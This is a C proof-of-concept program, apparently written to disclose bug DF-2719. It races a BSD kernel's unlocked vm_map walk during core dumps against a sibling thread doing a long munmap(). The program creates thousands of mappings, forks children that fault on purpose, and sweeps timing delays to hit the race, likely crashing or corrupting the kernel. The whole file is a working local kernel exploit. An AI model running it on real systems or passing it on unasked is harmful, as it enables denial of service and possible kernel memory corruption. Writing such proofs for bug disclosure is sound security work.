DF-2719 / racedump.c
/* * DF-2719 PoC: race coredump's unlocked vm_map RB_FOREACH iteration * (sys/kern/imgact_elf.c:1199 each_segment) against a sibling LWP that is * still inside a long munmap() when proc_stop() pre-counts it as stopped * (sys/kern/kern_sig.c:1598-1612: LSSLEEP/LSSRUN lwps "will stop before * returning to userspace", so sigexit's proc_stopwait() returns while the * lwp keeps mutating the map). * * child layout: * - inherits NMAPS PROT_READ MAP_NOCORE file mappings (many vm_map entries) * - worker thread: ONE munmap() of the whole range -> unlinks NMAPS entries * inside a single syscall (tens of ms of rb-tree mutation) * - main thread: usleep(DELAY) then *(int*)0=0 -> SIGSEGV -> coredump * -> each_segment iterates the same tree (passes 2 & 4 include NOCORE * entries: elf_puttextvp uses writable=0) with NO vm_map lock held. * * run: ./racedump [iterations] [nmaps] ; sweep DELAY around munmap duration */ #include <sys/mman.h> #include <sys/wait.h> #include <sys/param.h> #include <fcntl.h> #include <pthread.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BASE ((char *)0x10000000UL) static char *g_base = BASE; static size_t g_maps; static volatile unsigned long g_delay_us = 300; static void *worker(void *arg) { /* one long munmap: NMAPS entries unlinked in a single syscall */ munmap(g_base, g_maps * PAGE_SIZE); return NULL; } static void child_main(void) { pthread_t th; usleep(g_delay_us); /* let worker get into munmap() */ pthread_create(&th, NULL, worker, NULL); usleep(200); /* worker now inside munmap() */ *(volatile int *)0 = 0; /* SIGSEGV -> coredump */ _exit(0); } int main(int argc, char **argv) { unsigned long iters = argc > 1 ? strtoul(argv[1], NULL, 0) : 500; size_t nmaps = argc > 2 ? strtoul(argv[2], NULL, 0) : 20000; unsigned long d0 = argc > 3 ? strtoul(argv[3], NULL, 0) : 0; unsigned long d1 = argc > 4 ? strtoul(argv[4], NULL, 0) : 3000; unsigned long i; int fd; char path[64]; g_maps = nmaps; snprintf(path, sizeof(path), "/tmp/racedata.%d", getpid()); fd = open(path, O_RDWR | O_CREAT | O_TRUNC, 0600); if (fd < 0) { perror("open"); return 1; } if (ftruncate(fd, 64 * 1024) < 0) { perror("ftruncate"); return 1; } /* parent builds the many-entry map once; fork() copies it per child */ for (i = 0; i < nmaps; i++) { void *p = mmap(g_base + i * PAGE_SIZE, PAGE_SIZE, PROT_READ, MAP_SHARED | MAP_NOCORE | MAP_FIXED, fd, 0); if (p == MAP_FAILED) { perror("mmap"); return 1; } } fprintf(stderr, "parent: %zu mappings at %p\n", nmaps, g_base); signal(SIGCHLD, SIG_IGN); chdir("/tmp"); for (i = 0; i < iters; i++) { pid_t pid; g_delay_us = d0 + (d1 - d0) * (i % 40) / 40; /* sweep */ pid = fork(); if (pid == 0) { struct rlimit rl; rl.rlim_cur = rl.rlim_max = 64 * 1024 * 1024; setrlimit(RLIMIT_CORE, &rl); child_main(); _exit(0); } usleep(1500); /* child lifecycle ~1.5-3ms+dump */ if ((i % 50) == 0) fprintf(stderr, "iter %lu delay %lu\n", i, g_delay_us); } unlink(path); return 0; } |